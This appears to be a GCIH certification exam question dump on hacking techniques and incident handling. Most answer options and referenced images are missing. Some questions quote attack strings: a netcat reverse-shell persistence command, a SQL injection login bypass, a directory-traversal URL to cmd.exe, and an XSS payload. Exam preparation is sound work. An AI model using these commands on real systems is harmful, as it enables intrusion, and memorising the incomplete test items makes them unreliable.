GCIH questions and answers

Mike uncovers malware on a web server that is triggering 100% CPU utilization which prevents other processes from launching.

What category of Denial of Service attacks does he place these attacks?

Which of the following tools is described in the statement given below?

"It has a database containing signatures to be able to detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI scripts. Moreover, the database detects DdoS zombies and Trojans as well."

Victor works as a professional Ethical Hacker for SecureEnet Inc. He wants to scan the wireless network of

the company. He uses a tool that is a free open-source utility for network exploration. The tool uses raw IP packets to determine the following:

What ports are open on our network systems.
What hosts are available on the network.
Identify unauthorized wireless access points.
What services (application name and version) those hosts are offering.
What operating systems (and OS versions) they are running.
What type of packet filters/firewalls are in use.

Which of the following tools is Victor using?

Which of the following types of malware does not replicate itself but can spread only when the circumstances are beneficial?

What is the purpose of configuring a password protected screen saver on a computer?

In which of the following malicious hacking steps does email tracking come under?

You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe
-d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command?
Each correct answer represents a complete solution. (Choose all that apply.)

Which of the following is the best method of accurately identifying the services running on a victim host?

You work as a Network Penetration tester in the Secure Inc. Your company takes the projects to test the security of various companies. Recently, Secure Inc. has assigned you a project to test the security of a

Web site. You go to the Web site login page and you run the following SQL query:

What task will the above SQL query perform?

attacker.evil.org is attempting to insert a poisoned cache entry for www.moneybags on the dns.victim.com DNS server using the Kaminsky method of DNS cache poisoning.
Of the following choices, which would be an example of an effective query sent by the attacker?

Which of the following tools is used for vulnerability scanning and calls Hydra to launch a dictionary attack?

When you conduct the XMAS scanning using Nmap, you find that most of the ports scanned do not give a response.

What can be the state of these ports?

Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it with chess.exe. Which of the following tools are required in such a scenario?

Each correct answer represents a part of the solution. (Choose three.)

An attacker wants to intercept their target's network traffic using ARP cache poisoning.

How should the attacker setup IP forwarding?

Which of the following attacks involves multiple compromised systems to attack a single target?

You have configured a virtualized Internet browser on your Windows XP professional computer.
Using the virtualized Internet browser, you can protect your operating system from which of the following?

Attackers are trying to connect from an internal host they have compromised to their own host on the Internet. They can ping their external host, but cannot connect.

What should the attackers do to try and exfiltrate data to their external host?

Which remote control program can be used as an application-level backdoor and typically listens for connections on port 5900?

In the network logs there are ACK/FIN/PSH/URG packets from a host going to a closed port, and SYN/FIN/ URG/PSH packets going to open ports.

What is the host likely doing?

FILL BLANK

Fill in the blank with the appropriate name of the rootkit.

A _______ rootkit uses device or platform firmware to create a persistent malware image.

A. firmware

When copying a file that includes alternate data streams, what happens to the streams during the copying process?

What is the primary goal of the Eradication phase of handling an incident?

Which file would an attacker need to read in order to crack passwords on a modern Linux system?

What advantage does running netstat with the flags "-nao" have over running netstat with the "-na" flags in Windows?

Adam works as a Security Analyst for Umbrella Inc. CEO of the company ordered him to implement two-factor authentication for the employees to access their networks. He has told him that he would like to use

some type of hardware device in tandem with a security or identifying pin number. Adam decides to implement smart cards but they are not cost effective.

Which of the following types of hardware devices will Adam use to implement two-factor authentication?

FILL BLANK

Fill in the blank with the appropriate word.
StackGuard (as used by Immunix), ssp/ProPolice (as used by OpenBSD), and Microsoft's /GS option use ______ defense against buffer overflow attacks.

Why was Shellshock a threat to platforms like DHCP servers and home WiFi routers in addition to web servers?

Which of the following types of attacks slows down or stops a server by overloading it with requests?

Which of the following types of malware can an antivirus application disable and destroy?

Each correct answer represents a complete solution. (Choose all that apply.)

To defend against network mapping, which of the following packets should be denied at the border router?

John works as a Professional Penetration Tester. He has been assigned a project to test the Website security of www.we-are-secure Inc. On the We-are-secure Website login page, he enters ='or''=' as a username and successfully logs on to the user page of the Web site. Now, John asks the we-aresecure Inc. to improve the login page PHP script.

Which of the following suggestions can John give to improve the security of the we-are-secure Website login page from the SQL injection attack?

Which of the following is a process of searching unauthorized modems?

Which of the following statements are true regarding SYN flood attack? (Choose all that apply.)

Which of the following services CANNOT be performed by the nmap utility?
Each correct answer represents a complete solution. (Choose all that apply.)

You want to connect to your friend's computer and run a Trojan on it.

Which of the following tools will you use to accomplish the task?

FILL BLANK

Fill in the blank with the appropriate option to complete the statement below.

You want to block all UDP packets coming to the Linux server using the portsentry utility. For this, you have to enable the ______ option in the portsentry configuration file.

A. BLOCK_UDP

Which of the following could help prevent the threat of an external entity mapping a network's internal systems and filtering rules?

Which of the following statements are correct about spoofing and session hijacking?
Each correct answer represents a complete solution. (Choose all that apply.)

A workstation with an IP address of 10.10.20.115/24 is suspected of being compromised.

Which of the following is supported by the information in the process table?

Which of the following statements about threats are true?
Each correct answer represents a complete solution. (Choose all that apply.)

Analyze the data shown below.

Where does this data originate from?

Which of the following HTTP requests is the SQL injection attack?

Which of the following penetration testing phases involves gathering data from whois, DNS, and network scanning, which helps in mapping a target network and provides valuable information regarding the operating system and applications running on the systems?

In which of the following attacking methods does an attacker distribute incorrect IP address?

Which of the following describes network traffic that originates from the inside of a network perimeter and progresses towards the outside?

Why should organizations consider disabling auto-run as part of their Windows system hardening baselines?

Which of the following rootkits adds additional code or replaces portions of an operating system, including both the kernel and associated device drivers?

Which of the following statements are true about tcp wrappers?
Each correct answer represents a complete solution. (Choose all that apply.)

Which of the following tools are used as a network traffic monitoring tool in the Linux operating system?

Each correct answer represents a complete solution. (Choose all that apply.)

What is the penetration tester looking for in the following screenshot?

You are a Windows XP user and you want to ensure that your account does not have a LANMAN hash.

How can this be achieved?

John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He wants to perform a stealth scan to discover open ports and applications running on the We-are-secure server. For this purpose, he wants to initiate scanning with the IP address of any third party.

Which of the following scanning techniques will John use to accomplish his task?

When launching a SQL Injection attack, what characters might an attacker start experimenting with first?

Your CIO, Thomas Fischer, has complained that vendors are cold calling him to get more information about your organization's new domain name (tvf-prod.com). You've extracted the information below from tvf-prod.com.

What should you report back to the CIO?

Andrew, a bachelor student of Faulkner University, creates a gmail account. He uses 'Faulkner' as the password for the gmail account. After a few days, he starts receiving a lot of e-mails stating that his gmail account has been hacked. He also finds that some of his important mails have been deleted by someone.

Which of the following methods has the attacker used to crack Andrew's password? Each correct answer represents a complete solution. (Choose all that apply.)

An employee is sending personally threatening email through the company's email server to a supervisor and external business partners.

Which type of incident is this?

You enter the following URL on your Web browser:

http://www.we-are-secure.com/scripts/..%co%af../..%co%
af../windows/system32/cmd.exe?

/c+dir+c:\ What kind of attack are you performing?

Which of the following would allow you to automatically close connections or restart a server or service when a DoS attack is detected?

With the screenshot below, what is the penetration tester likely looking for?

Adam works as an Incident Handler for Umbrella Inc. He is informed by the senior authorities that the server of the marketing department has been affected by a malicious hacking attack. Supervisors are also claiming that some sensitive data are also stolen.

Adam immediately arrived to the server room of the marketing department and identified the event as an incident. He isolated the infected network from the remaining part of the network and started preparing to image the entire system. He captures volatile data, such as running process, ram, and network connections.

Which of the following steps of the incident handling process is being performed by Adam?

When doing a web search, which of the following Google commands can be used to find all sites that link to a given target?

Which of the following procedures is designed to enable security personnel to identify, mitigate, and recover from malicious computer incidents, such as unauthorized access to a system or data, denialof-service, or unauthorized changes to system hardware, software, or data?

What is the danger of downloading an .
XLSM file from a website that is considered trustworthy by the user?

Which of the following functions in c/c++ can be the cause of buffer overflow?
Each correct answer represents a complete solution. (Choose two.)

The screenshot from Kismet below shows details of a WiFi network with SSID Cloaking enabled.

How was Kismet able to collect the SSID information?

Prior to restoring clean data from backups, what are the recommended activities for bringing a server's operating system and applications back online following a buffer overflow exploit that allowed the attacker to create a new administrator account?

You have responded to the breach of an internal file server that contains highly confidential strategic information. The attacker compromised the server and created a local administrator. The compromise was discovered quickly, and the network cable was disconnected from the server.

Management has decided that they do not want to risk any bad publicity and will not seek prosecution of the attacker.

IT management will allow you to rebuild the server over the weekend. Until then, you create a plan to lock the administrator account, block RDP traffic with a firewall rule, and create email alerts on network traffic and from the affected server.

What phase of the incident response process is addressed by your plan?

Mark works as a Network Administrator for NetTech Inc. The network has 150 Windows 2000 Professional client computers and four Windows 2000 servers. All the client computers are able to connect to the Internet. Mark is concerned about malware infecting the client computers through the Internet. What will Mark do to protect the client computers from malware?

Each correct answer represents a complete solution. (Choose two.)

Which of the following network applications is better suited for using a connection-oriented protocol than a stateless protocol?

Which of the following applications is NOT used for passive OS fingerprinting?

There are six control bits to describe a packet's role in a Transmission Control Protocol (TCP) connection.

Which of the following control bits initiates a graceful end to a connection?

A company's external DNS server was used by an attacker in a DDoS attack against a third party.

Which of the following configurations should be changed to prevent this from happening again?

During the identification phase of a potential incident, you examine the logs of a web server, which are full of lines like the one displayed below. During the preparation phase, what measures would you take to mitigate the risk of attacks that produced these logs?

192.168.56.1 - - [08/Aug/2011:09:35:48 -0400] "GET /?_task=<sCRipT>alert(document.cookie)</sCRipT>
HTTP/1.1" 200 5418 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)"

John works as a Network Administrator for We-are-secure Inc. He finds that TCP port 7597 of the Weare-secure server is open. He suspects that it may be open due to a Trojan installed on the server. He presents a report to the company describing the symptoms of the Trojan. A summary of the report is given below: Once this Trojan has been installed on the computer, it searches Notpad.exe, renames it Note.com, and then copies itself to the computer as Notepad.exe. Each time Notepad.exe is executed, the Trojan executes and calls the original Notepad to avoid being noticed.

Which of the following Trojans has the symptoms as the one described above?

US Garments wants all encrypted data communication between corporate office and remote location.

They want to achieve following results: l Authentication of users

l Anti-replay
l Anti-spoofing
l IP packet encryption

They implemented IPSec using Authentication Headers (AHs). Which results does this solution provide?

Each correct answer represents a complete solution. (Choose all that apply.)

Which of the following are based on malicious code?
Each correct answer represents a complete solution. (Choose two.)

Examine the image below. What share would a user typically connect to when they execute the NET USE command below?

C:\> net use \\10.0.10.123

Many organizations create network maps of their network system to visualize the network and understand the relationship between the end devices and the transport layer that provide services.

Which of the following are the techniques used for network mapping by large organizations?
Each correct answer represents a complete solution. (Choose three.)

Which of the following IP packet elements is responsible for authentication while using IPSec?

Below is a Unix system configuration file below which sets kernel parameters upon booting.

Which parameter did the systems administrator set as a defense against buffer overflow attacks?

Which of the following best describes a statically linked binary?

Analyze the command output below.

Why did OS detection fail?

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple small-sized packets to the target computer. Hence, it becomes very difficult for an IDS to detect the attack signatures of such attacks. Which of the following tools can be used to perform session splicing attacks?

Each correct answer represents a complete solution. (Choose all that apply.)

Adam works as a Senior Programmer for Umbrella Inc. A project has been assigned to him to write a short program to gather user input for a Web application. He wants to keep his program neat and simple. His chooses to use printf(str) where he should have ideally used printf("%s", str).

What attack will his program expose the Web application to?

You are copying files from the C:\WINDOWS\system32 directory to a USB memory stick and encounter the pop-up shown in the image.

What does this indicate?

Which of the following US Acts emphasized a "risk-based policy for cost-effective security" and makes mandatory for agency program officials, chief information officers, and inspectors general (IGs) to conduct annual reviews of the agency's information security program and report the results to Office of Management and Budget?

In which of the following attacks does an attacker spoof the source address in IP packets that are sent to the victim?

You work as a System Administrator in SunSoft Inc. You are running a virtual machine on Windows Server
2003. The virtual machine is protected by DPM. Now, you want to move the virtual machine to another host. Which of the following steps can you use to accomplish the task?
Each correct answer represents a part of the solution. (Choose all that apply.)

Which of the following password cracking attacks is based on a pre-calculated hash table to retrieve plain text passwords?

What request methods are exploited in a Lanturtle + Responder access attack?

Which of the following is the process of comparing cryptographic hash functions of system executables and configuration files?

Which tool is used to provide 128-bit encryption of passwords?

What is the name of the GUI-based front end for Nmap?

Which of the following can be used as a countermeasure against the SQL injection attack?

Each correct answer represents a complete solution. (Choose two.)

Which of the following programming languages are NOT vulnerable to buffer overflow attacks?
Each correct answer represents a complete solution. (Choose two.)

An attacker configured nmap with command line options that specified the destination port, destination IP address, and TCP flags to be set to SYN/FIN/PSH/URG. No other command line options were specified.
He then sent the packet to an open port on a host at the destination address.

Which of the following could he be trying to accomplish?

Becky is reviewing the password policy for the Firm's Windows network. She would like to make the password minimum length 15 characters.

What will be the effect of this change?

Which reconnaissance source would you expect to provide the information in the below screen capture?

An organization has enabled local account token filtering in the registry for workstations.

What additional step do they need to take in order to defend against pass-the-hash attacks?

You work as a Network Administrator for Marioxnet Inc. You have the responsibility of handling two routers with BGP protocol for the enterprise's network. One of the two routers gets flooded with an unexpected number of data packets, while the other router starves with no packets reaching it.

Which of the following attacks can be a potential cause of this?